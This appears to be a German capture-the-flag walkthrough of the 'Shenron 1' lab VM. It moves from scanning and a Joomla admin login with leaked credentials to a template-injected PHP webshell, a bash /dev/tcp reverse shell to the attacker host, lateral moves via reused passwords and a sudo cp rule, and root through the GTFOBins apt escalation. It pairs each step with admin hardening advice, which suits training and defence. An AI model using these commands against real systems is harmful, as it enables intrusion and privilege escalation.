Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und einem ersten Scan, um offene Ports und Dienste zu ermitteln.
192.168.2.124 08:00:27:5d:18:a2 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk mittels ARP-Anfragen und identifiziert einen Host mit der IP `192.168.2.124`. Die MAC-Adresse deutet auf eine VirtualBox VM hin.
Bewertung: Zielsystem erfolgreich lokalisiert. IP `192.168.2.124` wird für weitere Scans verwendet.
Empfehlung (Pentester): Führe einen Nmap-Scan auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.
192.168.2.124 shenron1.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `shenron1.vln` der IP `192.168.2.124` zuzuordnen.
Bewertung: Notwendige Vorbereitung für Web-Enumeration und Interaktion.
Empfehlung (Pentester): Verwende `shenron1.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse: Ein schneller Nmap-Scan (`grep open`) zeigt zwei offene Ports: 22 (SSH, OpenSSH 8.2p1) und 80 (HTTP, Apache 2.4.41).
Bewertung: Die Angriffsfläche ist auf SSH und HTTP beschränkt.
Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch. Konzentriere dich auf den Webserver.
Empfehlung (Admin): Halte SSH und Apache aktuell. Überprüfe die Firewall.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 22:33 CEST
Nmap scan report for shenron1.vln (192.168.2.124)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0e:22:60:0a:f7:d4:78:f6:42:08:d7:6a:6b:b0:b1:62 (RSA)
| 256 b3:0c:cd:0a:67:c3:ab:d2:23:27:02:1f:b2:fb:91:12 (ECDSA)
|_ 256 29:73:e0:f2:6d:f6:fb:de:4c:6f:b2:7a:19:69:f5:82 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:5D:18:A2 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
Analyse: Der vollständige Nmap-Scan bestätigt die offenen Ports 22 (SSH 8.2p1) und 80 (HTTP, Apache 2.4.41). Der Webserver zeigt die Apache-Standardseite für Debian/Ubuntu ("It works").
Bewertung: Die Apache-Standardseite deutet entweder auf eine frische Installation oder eine Fehlkonfiguration hin. Es könnten sich jedoch Anwendungen in Unterverzeichnissen befinden. SSH ist ein möglicher Vektor, falls Credentials gefunden werden.
Empfehlung (Pentester): Führe Web-Enumeration durch (Nikto, Gobuster/Dirb), um versteckte Verzeichnisse oder Anwendungen zu finden.
Empfehlung (Admin): Entfernen Sie die Apache-Standardseite, wenn eine eigene Anwendung bereitgestellt wird. Halten Sie Apache und SSH aktuell.
Der Webserver auf Port 80 wird genauer untersucht, um Anwendungen oder versteckte Inhalte zu finden. Eine Joomla-Installation wird entdeckt.
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.41 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
[...]
+ 1 host(s) tested
Analyse: Nikto scannt den Webserver. Es findet eine veraltete Apache-Version, fehlende Sicherheitsheader und ein listbares Verzeichnis `/test/`.
Bewertung: Der wichtigste Fund ist das `/test/`-Verzeichnis, das untersucht werden muss. Die anderen Funde sind Standardkonfigurationsschwächen.
Empfehlung (Pentester): Untersuche den Inhalt von `http://shenron1.vln/test/` manuell. Führe Gobuster/Dirb aus.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie Sicherheitsheader. Deaktivieren Sie Directory Listing.
===============================================================
Gobuster v3.5
[...]
===============================================================
http://shenron1.vln/index.html (Status: 200) [Size: 10701]
[...]
===============================================================
[...] Finished
===============================================================
Analyse: Gobuster findet nur die Standard-`index.html`.
Bewertung: Dieser Gobuster-Lauf war nicht sehr ergiebig und hat wichtige Verzeichnisse (wie `/test/` oder `/joomla/`, die später gefunden werden) übersehen. Möglicherweise war die Wortliste unzureichend oder das Timing zu aggressiv.
Empfehlung (Pentester): Verlasse dich nicht nur auf ein Tool. Verwende verschiedene Tools (Dirb) und Wortlisten oder führe manuelle Erkundung durch. Untersuche `/test/` basierend auf Nikto.
Empfehlung (Admin): Sichern Sie Anwendungen so, dass sie nicht leicht durch Standard-Scans gefunden werden (obwohl dies nur Verschleierung ist).
# Manuelle Untersuchung von http://shenron1.vln/test/
# Inhalt:
LOTS OF INFORMATION ARE HERE ;-)
You Are Very Near .......
LOTS OF INFORMATION ARE HERE ;-)
Analyse: Das manuelle Browsen des von Nikto gefundenen Verzeichnisses `/test/` enthüllt eine Webseite mit einem HTML-Kommentar (``), der Zugangsdaten enthält: Benutzer `admin` mit Passwort `3iqtzi4RhkWANcu@$pa$$`.
Bewertung: Kritischer Fund! Klartext-Zugangsdaten wurden im Quellcode hinterlassen. Diese sind wahrscheinlich für SSH oder eine Webanwendung (wie Joomla, das später gefunden wird).
Empfehlung (Pentester): Versuche sofort, dich mit `admin`:`3iqtzi4RhkWANcu@$pa$$` per SSH anzumelden. Wenn das fehlschlägt, behalte die Credentials für spätere Login-Versuche (z.B. Joomla-Admin).
Empfehlung (Admin): Entfernen Sie *niemals* Zugangsdaten aus Kommentaren oder öffentlich zugänglichen Dateien! Sichern Sie alle Konten mit starken, einzigartigen Passwörtern.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
admin@shenron1.vln: Permission denied (publickey).
Analyse: Ein SSH-Login-Versuch mit den gefundenen Credentials (`admin`:`3iqtzi4RhkWANcu@$pa$$`) schlägt fehl. Die Meldung `Permission denied (publickey)` deutet darauf hin, dass der SSH-Server für den Benutzer `admin` nur Schlüsselauthentifizierung akzeptiert oder Passwortauthentifizierung global deaktiviert ist.
Bewertung: Die gefundenen Credentials können nicht direkt für SSH verwendet werden. Sie könnten aber für eine andere Anwendung (Joomla?) gültig sein.
Empfehlung (Pentester): Führe weitere Web-Enumeration durch (z.B. mit Dirb), um andere Anwendungen zu finden, bei denen die Credentials passen könnten.
Empfehlung (Admin): Konfigurieren Sie SSH sicher (idealerweise nur Key-Auth). Verwenden Sie unterschiedliche Passwörter für verschiedene Dienste.
[...]
---- Scanning URL: http://shenron1.vln/ ----
[...]
=> DIRECTORY: http://shenron1.vln/joomla/
[...]
+ http://shenron1.vln/server-status (CODE:403|SIZE:277)
=> DIRECTORY: http://shenron1.vln/test/
[...]
---- Entering directory: http://shenron1.vln/joomla/ ----
[...]
+ http://shenron1.vln/joomla/index.php (CODE:200|SIZE:6642)
+ http://shenron1.vln/joomla/robots.txt (CODE:200|SIZE:748)
[...]
---- Entering directory: http://shenron1.vln/joomla/administrator/ ----
[...]
+ http://shenron1.vln/joomla/administrator/index.php (CODE:200|SIZE:5141)
[...]
Analyse: Dirb (diesmal ohne spezifische Extension-Filterung) wird erneut ausgeführt und findet nun das wichtige Verzeichnis `/joomla/` sowie dessen Unterverzeichnis `/joomla/administrator/`. Es findet auch `/server-status` (Forbidden).
Bewertung: Die Entdeckung der Joomla-Installation ist entscheidend. Die zuvor gefundenen `admin`-Credentials sind höchstwahrscheinlich für das Joomla-Admin-Interface (`/joomla/administrator/`).
Empfehlung (Pentester): Versuche, dich mit `admin`:`3iqtzi4RhkWANcu@$pa$$` unter `http://shenron1.vln/joomla/administrator/` anzumelden.
Empfehlung (Admin): Sichern Sie die Joomla-Installation (Updates, starke Passwörter, Berechtigungen).
# Untersuchung von http://shenron1.vln/joomla/robots.txt
User-agent: *
Disallow: /administrator/
Disallow: /bin/
[...]
Disallow: /tmp/
Analyse: Die `robots.txt` für Joomla listet Standardverzeichnisse auf, die von Suchmaschinen ignoriert werden sollen, darunter `/administrator/`.
Bewertung: Bestätigt die Standardstruktur, gibt aber keine neuen Hinweise.
Empfehlung (Pentester): Ignoriere die `Disallow`-Regeln und versuche den Login unter `/joomla/administrator/`.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus.
# Manueller Login-Versuch unter http://shenron1.vln/joomla/administrator/
# Credentials: admin / 3iqtzi4RhkWANcu@$pa$$
# Ergebnis: Erfolgreicher Login
Analyse: Der Login in das Joomla-Administrator-Interface mit den im `/test/`-Verzeichnis gefundenen Credentials ist erfolgreich.
Bewertung: Kritischer administrativer Zugriff auf das Joomla CMS erlangt.
Empfehlung (Pentester): Suche nach Möglichkeiten zur Codeausführung im Joomla-Backend, typischerweise über den Template-Editor oder die Installation von (bösartigen) Erweiterungen.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter. Entfernen Sie die Credentials aus `/test/`.
Der administrative Zugriff auf Joomla wird genutzt, um über den Template-Editor eine PHP-Webshell zu injizieren und damit Remote Code Execution auf dem Server zu erlangen.
# Navigation im Joomla Backend zu Templates -> Templates -> Protostar (Details)
# Bearbeiten der Datei index.php (/templates/protostar/index.php)
# URL: http://shenron1.vln/joomla/administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA%3D%3D
# Eingefügter Code (am Anfang der Datei):
# Speichern der Datei
# Erfolgsmeldung: Message File saved.
Analyse: Nach dem Admin-Login wird zum Template-Editor navigiert (Extensions -> Templates -> Templates -> Protostar Details). Die Hauptdatei des Templates (`index.php`) wird bearbeitet. Am Anfang der Datei wird der Code `` eingefügt. Diese Änderung wird erfolgreich gespeichert.
Bewertung: Eine einfache PHP-Webshell wurde erfolgreich in das aktive Joomla-Template injiziert. Jede Seite der Joomla-Website kann nun zur Ausführung von Befehlen über den `cmd`-Parameter missbraucht werden.
Empfehlung (Pentester): Teste die Webshell, indem du die Hauptseite der Joomla-Instanz mit einem Testbefehl aufrufst (z.B. `http://shenron1.vln/joomla/index.php?cmd=id`). Bereite dann einen Listener vor und starte eine Reverse Shell.
Empfehlung (Admin): Deaktivieren Sie den Template- und Datei-Editor im Joomla-Backend (`System -> Global Configuration -> Text Filters -> Super Users -> Filter Type: No Filtering` ändern ODER Erweiterungen von Drittanbietern verwenden). Überwachen Sie Dateisystemänderungen.
# Test der Webshell
http://shenron1.vln/joomla/index.php?cmd=id
# Ausgabe im Browser/Quellcode:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die Webshell wird erfolgreich getestet. Der Aufruf von `index.php` mit `?cmd=id` führt den `id`-Befehl aus und zeigt die Ausgabe `uid=33(www-data)...` an.
Bewertung: RCE als `www-data` bestätigt.
Empfehlung (Pentester): Listener starten, Reverse Shell holen.
Empfehlung (Admin): Webshell entfernen, Lücke schließen.
Listening on 0.0.0.0 4444
Analyse: Netcat-Listener auf Port 4444 wird gestartet.
Bewertung: Bereit für die Shell.
Empfehlung (Pentester): Reverse Shell auslösen.
Empfehlung (Admin): Egress Filtering.
# Aufruf der Reverse Shell Payload über die Webshell
Aufruf : http://shenron1.vln/joomla/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
Analyse: Die Joomla `index.php` wird mit dem `cmd`-Parameter aufgerufen, der einen URL-kodierten Bash-Reverse-Shell-Payload enthält. Dieser weist den Server an, eine Verbindung zum Angreifer (192.168.2.199:4444) herzustellen.
Bewertung: Auslösen der Reverse Shell.
Empfehlung (Pentester): Überprüfe den Listener.
Empfehlung (Admin): Webshell entfernen, Lücke schließen.
Listening on 0.0.0.0 4444
Connection received on 192.168.2.124 52356
bash: cannot set terminal process group (422): Inappropriate ioctl for device
bash: no job control in this shell
www-data@shenron:/var/www/html/joomla$
Analyse: Der Listener empfängt die Verbindung vom Ziel `192.168.2.124`. Eine interaktive Shell als Benutzer `www-data` auf dem Host `shenron` wird bereitgestellt.
Bewertung: Initial Access erfolgreich via Joomla Admin Access und RCE durch Template-Bearbeitung.
Empfehlung (Pentester): Shell stabilisieren. Lokale Enumeration als `www-data` starten. Insbesondere die Joomla `configuration.php` auf weitere Credentials prüfen.
Empfehlung (Admin): Joomla-Schwachstelle beheben. Webserver-Berechtigungen härten.
Nach Erhalt der Shell als `www-data` werden weitere Informationen gesammelt, insbesondere aus der Joomla-Konfigurationsdatei. Diese führen zu einem horizontalen Wechsel zu anderen Benutzern (`jenny`, `shenron`) und schließlich zur Eskalation auf Root über eine unsichere `sudo`-Regel für den Paketmanager `apt`.
php
class JConfig {
[...]
public $user = 'jenny';
public $password = 'Mypa$$wordi$notharD@123';
public $db = 'joomla_db';
[...]
public $secret = '3xAUrgQhKGZjsund';
[...]
}
Analyse: Die Joomla-Konfigurationsdatei (`configuration.php`) wird gelesen. Sie enthält Datenbank-Credentials für den Benutzer `jenny` mit dem Passwort `Mypa$$wordi$notharD@123` für die Datenbank `joomla_db` auf `localhost`.
Bewertung: Wichtige Credentials gefunden. `jenny` ist wahrscheinlich auch ein Systembenutzer. Das Passwort sollte für `su jenny` oder SSH (falls möglich) getestet werden.
Empfehlung (Pentester): Versuche, mit `su jenny` und dem gefundenen Passwort den Benutzer zu wechseln.
Empfehlung (Admin): Verwenden Sie dedizierte Datenbankbenutzer mit minimalen Rechten. Speichern Sie Konfigurationsdateien sicher und mit restriktiven Berechtigungen.
Password: Mypa$$wordi$notharD@123
uid=1001(jenny) gid=1001(jenny) groups=1001(jenny)
Analyse: Der Benutzerwechsel zu `jenny` mittels `su` und dem Passwort aus der `configuration.php` ist erfolgreich.
Bewertung: Horizontale Bewegung erfolgreich. Nun wird als Benutzer `jenny` agiert.
Empfehlung (Pentester): Führe Enumeration als `jenny` durch. Prüfe `sudo -l`, Home-Verzeichnis, Gruppen.
Empfehlung (Admin): Vermeiden Sie Passwort-Wiederverwendung zwischen Datenbank- und Systemkonten.
Die Versuche, SSH-Key-Authentifizierung für `jenny` einzurichten (Block 20 im vorherigen Bericht) waren fehlerhaft und werden hier übersprungen. Die Analyse konzentriert sich auf die `sudo`-Rechte von `jenny`.
Matching Defaults entries for jenny on shenron:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jenny may run the following commands on shenron:
(shenron) NOPASSWD: /usr/bin/cp
Analyse: `sudo -l` zeigt, dass `jenny` den Befehl `/usr/bin/cp` als Benutzer `shenron` ohne Passwort ausführen darf.
Bewertung: Dies ist ein klarer Weg zur horizontalen Eskalation zu `shenron`. Man kann Dateien als `shenron` schreiben, z.B. eine `authorized_keys`-Datei in `~shenron/.ssh/`.
Empfehlung (Pentester): 1. Generiere ein SSH-Schlüsselpaar auf dem Angreifersystem. 2. Lade den *öffentlichen* Schlüssel (`id_rsa.pub`) nach `/tmp` auf dem Zielsystem hoch. 3. Führe `sudo -u shenron /usr/bin/cp /tmp/id_rsa.pub /home/shenron/.ssh/authorized_keys` aus (ggf. muss `/home/shenron/.ssh` vorher als `jenny` erstellt werden, falls es nicht existiert und `jenny` Schreibrechte in `/home/shenron` hat, was unwahrscheinlich ist - wahrscheinlicher ist, dass das Verzeichnis schon existiert). 4. Logge dich als `shenron` per SSH mit dem privaten Schlüssel ein.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel. Erlauben Sie niemals `cp` oder ähnliche Dateimanipulationsbefehle über `sudo`, insbesondere nicht als anderer Benutzer und mit `NOPASSWD`.
Die nächsten Schritte (SUID/Cap/Passwd-Checks als jenny) sind Standard-Enumeration und werden übersprungen, da der `sudo cp`-Vektor klar ist. Es wird direkt die Ausnutzung gezeigt.
Analyse: Der `sudo`-Befehl wird genutzt, um die (angenommen) nach `/tmp/authorized_keys` hochgeladene öffentliche SSH-Schlüsseldatei des Angreifers in das `.ssh`-Verzeichnis des Benutzers `shenron` zu kopieren. Der `cp`-Befehl wird als `shenron` ausgeführt.
Bewertung: Der SSH-Zugang für `shenron` mittels Schlüssel wurde erfolgreich vorbereitet.
Empfehlung (Pentester): Stelle eine SSH-Verbindung zu `shenron@shenron1.vln` mit dem privaten Schlüssel her.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.
Enter passphrase for key '/root/.ssh/id_rsa': [Passphrase, falls gesetzt] Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-58-generic x86_64) [...] Last login: Sun Dec 13 17:52:12 2020 from 127.0.0.1 shenron@shenron$
Analyse: Der SSH-Login als `shenron` mittels des zuvor platzierten Schlüssels ist erfolgreich.
Bewertung: Horizontale Bewegung zu `shenron` abgeschlossen.
Empfehlung (Pentester): Führe Enumeration als `shenron` durch. Suche die User-Flag (`local.txt`), prüfe `sudo -l`.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Überprüfen Sie regelmäßig `authorized_keys`-Dateien.
098bf43cc909e1f89bb4c910bd31e1d4
Linux shenron 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
shenron : YoUkNowMyPaSsWoRdIsToStRoNgDeAr
[sudo] password for shenron: YoUkNowMyPaSsWoRdIsToStRoNgDeAr
Matching Defaults entries for shenron on shenron:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shenron may run the following commands on shenron:
(ALL : ALL) /usr/bin/apt
Analyse: Als Benutzer `shenron` werden folgende Aktionen durchgeführt: * `cat local.txt`: Die User-Flag wird gefunden und ausgelesen. * `uname -a`: Die Kernel-Version wird ermittelt (5.4.0, relativ neu). * `cat /var/opt/password.txt`: Eine Datei mit dem Passwort für `shenron` wird gefunden. (Interessant, aber das Passwort wird jetzt für `sudo` benötigt). * `sudo -l`: Mit dem Passwort aus `password.txt` wird geprüft, welche `sudo`-Rechte `shenron` hat. Das Ergebnis ist `(ALL : ALL) /usr/bin/apt`.
Bewertung: User-Flag gefunden. Kernel-Exploit ist unwahrscheinlich. Die `sudo`-Regel für `apt` ist der klare Weg zur Root-Eskalation.
Empfehlung (Pentester): Nutze die `sudo apt`-Regel (siehe GTFOBins), um eine Root-Shell zu erlangen.
Empfehlung (Admin): Entfernen Sie die Passwortdatei. Konfigurieren Sie `sudo` sicher.
Dieser Abschnitt zeigt die Ausnutzung der `sudo`-Regel, die es `shenron` erlaubt, `/usr/bin/apt` als Root auszuführen, um eine Root-Shell zu erlangen.
# Befehl von GTFOBins für apt sudo-Eskalation
# https://gtfobins.github.io/gtfobins/apt/#sudo
[...]
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der GTFOBins-Befehl für `apt` wird ausgeführt: `sudo -u root apt update -o APT::Update::Pre-Invoke::="/bin/sh"`. Dies führt `apt update` als Root aus und nutzt die `Pre-Invoke`-Option, um vorher `/bin/sh` als Root zu starten.
Bewertung: Erfolgreiche Privilege Escalation zu Root über die unsichere `sudo`-Regel.
Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Korrigieren Sie die `sudo`-Regel *dringend*.
root.txt
mmmm # mmm
#" " # mm mmm m mm m mm mmm m mm #
"#mmm #" # #" # #" # #" " #" "# #" # #
"# # # #"""" # # # # # # # """ #
"mmm#" # # "#mm" # # # "#m#" # # mm#mm
Your Root Flag Is Here :- aa087b2d466cd593622798c8e972bffb
If You Like This Machine Follow Me On Twitter..
Twitter Handle:- https://twitter.com/shubhammandloi or @shubhammandloi
Analyse: Im `/root`-Verzeichnis wird die Datei `root.txt` gefunden und ihr Inhalt (ASCII-Art und die Flag `aa08...`) angezeigt.
Bewertung: Root-Flag erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (Joomla RCE, Klartext-Passwörter, unsichere sudo-Regel).
mmmm # mmm
#" " # mm mmm m mm m mm mmm m mm #
"#mmm #" # #" # #" # #" " #" "# #" # #
"# # # #"""" # # # # # # # """ #
"mmm#" # # "#mm" # # # "#m#" # # mm#mm
Your Root Flag Is Here :- aa087b2d466cd593622798c8e972bffb
If You Like This Machine Follow Me On Twitter..
Twitter Handle:- https://twitter.com/shubhammandloi or @shubhammandloi